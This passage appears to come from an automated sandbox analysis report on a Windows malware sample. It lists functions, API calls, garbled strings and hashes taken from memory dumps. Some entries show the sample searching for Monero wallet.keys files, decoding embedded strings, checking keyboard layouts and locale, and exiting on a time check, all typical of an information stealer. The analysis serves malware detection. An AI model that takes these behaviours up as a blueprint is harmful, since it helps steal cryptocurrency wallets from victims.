API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: f265bb4183cdf3c6bee6ac6b9ed07a428036c6adae889cda08f1cac4990868df
Instruction ID: 64df8e26d805cce2cba298ae2ea30e8620c7bcb0a6a8c4c9933047ec53db7061
Opcode Fuzzy Hash: f265bb4183cdf3c6bee6ac6b9ed07a428036c6adae889cda08f1cac4990868df
Instruction Fuzzy Hash: 60914572900115ABCB14FB70EC9A9ED7B7CBFD5300F408558F94A96185EE34AB09CFA2

Function 008EB9F9 Relevance: 11.6, Strings: 8, Instructions: 1636COMMON

Download Yara Rule

Strings

;, xrefs: 008EC23E
lz-/, xrefs: 008EC31C
0_, xrefs: 008EBA9D
b9, xrefs: 008EC898
0"c~, xrefs: 008EBC6D
2q=y, xrefs: 008EC9C3
.^??, xrefs: 008EC61A
!o, xrefs: 008EC6FC

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ;$!o$.^??$0"c~$2q=y$lz-/$0_$b9
API String ID: 0-650997007
Opcode ID: e22e8d146b441742ed83563e9b8fa97b28c4216d9c986c6383783af59d4e593f
Instruction ID: 6779edbbb05a8fb4e313690f97361f008635b650e8aad44ae981be4219c5c0a2
Opcode Fuzzy Hash: e22e8d146b441742ed83563e9b8fa97b28c4216d9c986c6383783af59d4e593f
Instruction Fuzzy Hash: E8B2E9F3A0C2009FE304AE2DDC8567ABBE9EF94720F16892DE6C5C7744EA3558418797

Function 008E85F6 Relevance: 11.6, Strings: 8, Instructions: 1562COMMON

Download Yara Rule

Strings

+D+}, xrefs: 008E8B05
_8V, xrefs: 008E91C5
&35, xrefs: 008E8D44
}~], xrefs: 008E8DC1
&35, xrefs: 008E8D39
lO3, xrefs: 008E8928
&QR], xrefs: 008E90C8
<3^, xrefs: 008E986C

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: }~]$&35$&35$&QR]$+D+}$_8V$<3^$lO3
API String ID: 0-2813008048
Opcode ID: 20fd6a455d255abf73b0a613ca6168753f0c6a65300f5d829050b561acd3492d
Instruction ID: a7cb7eb940b69e9da24316ab123b920752cdc1e5b1092535d5597612aafe6b3c
Opcode Fuzzy Hash: 20fd6a455d255abf73b0a613ca6168753f0c6a65300f5d829050b561acd3492d
Instruction Fuzzy Hash: 82B2E5F360C2009FE304AE2DEC8567ABBE5EF94720F1A493DEAC4C7344EA7558458697

Function 00537B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

GetKeyboardLayoutList.USER32(00000000,00000000,005405AF), ref: 00537BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00537BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00537C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00537C62
LocalFree.KERNEL32(00000000), ref: 00537D22

Strings

/ , xrefs: 00537C7F

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 2a7b8c3e4d881dc081a370147ee3c07b36ccb6d8062b1eff26ffd09f22ba68d5
Instruction ID: 8ff8328888e1e4bac4e67db724ed4c1a824b09e73209edfd5181043bee49cd1d
Opcode Fuzzy Hash: 2a7b8c3e4d881dc081a370147ee3c07b36ccb6d8062b1eff26ffd09f22ba68d5
Instruction Fuzzy Hash: 03413D7194021DABDB24DB94DC99BEEBB74FF48700F204199E50A72191DB742F85CFA1

Function 008E6B3E Relevance: 10.3, Strings: 7, Instructions: 1590COMMON

Download Yara Rule

Strings

s^~<, xrefs: 008E754A
w_lw, xrefs: 008E7DBA
G.;U, xrefs: 008E6F4B
|m>W, xrefs: 008E7812
]9om, xrefs: 008E78BA
g{f, xrefs: 008E7698
QO[k, xrefs: 008E7764

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: G.;U$QO[k$]9om$s^~<$w_lw$|m>W$g{f
API String ID: 0-214937156
Opcode ID: 6d17f64aea5509a05d35951ab6b2943e19e9bbebc7d8ed7ec98c83b946beed76
Instruction ID: d2b1ee60f3f64c073c5547173ffc8997174e34cf2d372e38c92c90908f54272b
Opcode Fuzzy Hash: 6d17f64aea5509a05d35951ab6b2943e19e9bbebc7d8ed7ec98c83b946beed76
Instruction Fuzzy Hash: FEB222F3A082049FE3046E29EC8567AFBE9EF94720F164A3DEAC4C7740E63558058797

Function 0052E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,00F199F0,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00540D73), ref: 0052E4A2
StrCmpCA.SHLWAPI(?,005414F8), ref: 0052E4F2
StrCmpCA.SHLWAPI(?,005414FC), ref: 0052E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0052EBDF

Strings

\*.*, xrefs: 0052E44D

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 84f24f410a4d7d0107d4d969b8168bb85eca2d5cad8a342f3e5e8690362ed064
Instruction ID: 7bba0356556c2eecc75dec499aa777aa25798b5f56265a0df76f4a38e7428ba2
Opcode Fuzzy Hash: 84f24f410a4d7d0107d4d969b8168bb85eca2d5cad8a342f3e5e8690362ed064
Instruction Fuzzy Hash: 53122472910119AADB14FB70DC9AEEDBB38BFD4300F404598B54AA6191EF346F49CF92

Function 008F4206 Relevance: 9.2, Strings: 6, Instructions: 1664COMMON

Download Yara Rule

Strings

|u{{, xrefs: 008F4EC4
'Cv, xrefs: 008F4845
So^, xrefs: 008F50BC
~c{/, xrefs: 008F449D
", xrefs: 008F4CE3
2~, xrefs: 008F552F

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "$'Cv$2~$So^$|u{{$~c{/
API String ID: 0-2567272145
Opcode ID: 56193b0c2c71e718115300cd3b4cfac0c0e2d2befb5447d937f03e98214d4cf2
Instruction ID: fa419a2e141241a83a2d737efc6d5bf76239a414a9dad1bba26c8606f56f48b3
Opcode Fuzzy Hash: 56193b0c2c71e718115300cd3b4cfac0c0e2d2befb5447d937f03e98214d4cf2
Instruction Fuzzy Hash: B4B2F7F3A082049FE304AE2DEC8567ABBE9EFD4760F16853DEAC4C3744E63558058697

Function 008E513D Relevance: 9.1, Strings: 6, Instructions: 1618COMMON

Download Yara Rule

Strings

;Fz, xrefs: 008E51D0
6L<, xrefs: 008E52AA
qA_~, xrefs: 008E56B3
qA_~, xrefs: 008E5690
aR{, xrefs: 008E63D2
?go, xrefs: 008E6408

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6L<$;Fz$?go$qA_~$qA_~$aR{
API String ID: 0-3253444424
Opcode ID: 3d9b051d5f8a6280b3acfa7d3e3e823097a99a4cc29d56e3dd8102a456f2980e
Instruction ID: 19649832beed701424c4a663016f6cc6d447a8284d844df8778e17ec84f2711e
Opcode Fuzzy Hash: 3d9b051d5f8a6280b3acfa7d3e3e823097a99a4cc29d56e3dd8102a456f2980e
Instruction Fuzzy Hash: ECB206F360C2049FE304AE2DEC8567ABBE9EF94720F16493DE6C5C7740EA3598058796

Function 00529AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00524EEE,00000000,?), ref: 00529B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,NR,00000000,00000000), ref: 00529B2A
LocalFree.KERNEL32(?,?,?,?,00524EEE,00000000,?), ref: 00529B3F

Strings

NR, xrefs: 00529AD4, 00529AE1, 00529AF9, 00529B18, 00529AE4, 00529B1B

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: NR
API String ID: 4291131564-263112399
Opcode ID: 2f5ad2118ace210f131b2650ee8d78f2adcd57e352311e0b11a41755b21d2537
Instruction ID: 71626ab0f4071378dc82f4d01bfe06f156fb8fa2a7ea8c8edff6b4e30b9242f6
Opcode Fuzzy Hash: 2f5ad2118ace210f131b2650ee8d78f2adcd57e352311e0b11a41755b21d2537
Instruction Fuzzy Hash: C5119FB4640308AFEB10CFA4D895FAA77A5FB8A700F208058F9159B390C6B6A901DB94

Function 008F267F Relevance: 7.9, Strings: 5, Instructions: 1652COMMON

Download Yara Rule

Strings

$go^, xrefs: 008F294D
:N]V, xrefs: 008F2EAA
/cw?, xrefs: 008F3208
b]c, xrefs: 008F2ED9
nnR, xrefs: 008F3229

Memory Dump Source

Source File: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: nnR$$go^$/cw?$:N]V$b]c
API String ID: 0-1299212506
Opcode ID: 46600f186f43273ff70e1eaa52e3218868d7e7d2181eec12f1a2dac2bbc86b1c
Instruction ID: 1253c8d4a3d1e4169608ec35399258f4a5901c05874c41653f4dcd1d98b20ff3
Opcode Fuzzy Hash: 46600f186f43273ff70e1eaa52e3218868d7e7d2181eec12f1a2dac2bbc86b1c
Instruction Fuzzy Hash: 0CB217F3A0C2149FE304AE2DDC8166AFBE5EF94720F1A453DEAC4C7740EA7598058697

Function 0052C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0052C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0052C87C
lstrcat.KERNEL32(?,00540B46), ref: 0052C943
lstrcat.KERNEL32(?,00540B47), ref: 0052C957
lstrcat.KERNEL32(?,00540B4E), ref: 0052C978

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 0b05c2e848de50acfa32129847e5168629126a946e18eb84d60770ad244af5fe
Instruction ID: 9cbdb5705e31089d0eebacde9836701f9c1ec3f23c33951cfbbb0998b8eeb533
Opcode Fuzzy Hash: 0b05c2e848de50acfa32129847e5168629126a946e18eb84d60770ad244af5fe
Instruction Fuzzy Hash: 4D41607590431AEBDB10CFA4DD89BEEBBB8BF44304F1045A8E509A72C0D7B46A84CF95

Function 00536920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0053696C
sscanf.NTDLL ref: 00536999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005369B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 005369C0
ExitProcess.KERNEL32 ref: 005369DA

Memory Dump Source

Source File: 00000000.00000002.1766358314.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1766321931.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766358314.000000000076A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000904000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.00000000009E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766656371.0000000000A23000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768104494.0000000000A24000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768489341.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768624344.0000000000BC6000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 9cbac16cde4e82330ea2497c669873e169902d98604af3b416a0bc1d92d7ca1f
Instruction ID: 0cd93f196a6bb38acf4db15e42cb3b73e034da011c5579ac488907ff793d22b1
Opcode Fuzzy Hash: 9cbac16cde4e82330ea2497c669873e169902d98604af3b416a0bc1d92d7ca1f
Instruction Fuzzy Hash: B221CB76D14209ABCF04EFE4D945AEEBBB5BF48300F04852EE506F3250EB749605CBA9

